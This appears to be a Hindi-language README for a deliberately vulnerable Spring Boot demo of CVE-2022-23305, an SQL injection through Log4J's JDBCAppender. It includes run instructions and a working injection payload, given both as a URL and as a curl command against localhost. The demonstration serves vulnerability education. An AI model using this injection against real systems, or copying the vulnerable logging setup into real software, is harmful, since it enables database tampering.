
CVE-2022-23305 Log4J JDBCAppender SQl injection POC
यह एक बहुत ही सरल Spring Boot आधारित एप्लिकेशन है जो CVE-2022-23305 भेद्यता को प्रदर्शित करता है। यह एक साधारण प्रविष्टि को लॉग करने के लिए Apache Maven, Spring Boot, Spring MVC, और H2 इन-मेमोरी डेटाबेस का उपयोग करता है, जिसे URL क्वेरी स्ट्रिंग पैरामीटर के रूप में लिया जाता है। चूंकि Log4J को JDBCAppender का उपयोग करने के लिए कॉन्फ़िगर किया गया है, यह SQL इंजेक्शन के प्रति संवेदनशील है।
लॉगिंग स्टेटमेंट के लिए src/main/java/poc/InjectionController.java देखें।
सभी कॉन्फ़िगरेशन फ़ाइलों के लिए src/main/resource फ़ोल्डर देखें।
आप एप्लिकेशन को Java और Maven का उपयोग करके "mvn clean spring-boot:run" चलाकर चला सकते हैं।
आप इसे Docker एप्लिकेशन के रूप में भी चला सकते हैं जैसे:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
एप्लिकेशन http://localhost:8080/ पर उपलब्ध होगा।
भेद्यता का शोषण करने के लिए, लॉग हो रहे पैरामीटर के रूप में एक इंजेक्टेड SQL स्टेटमेंट सबमिट करें:
"http://localhost:8080/?param=');insert into logs values(':("
वापसी जोड़ी गई लॉग प्रविष्टियों को सूचीबद्ध करेगी, जिसमें पैरामीटर में इंजेक्ट किए गए SQL द्वारा जोड़ी गई एक प्रविष्टि शामिल होगी।
curl के साथ भी ऐसा करने के लिए उपयोग करें:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('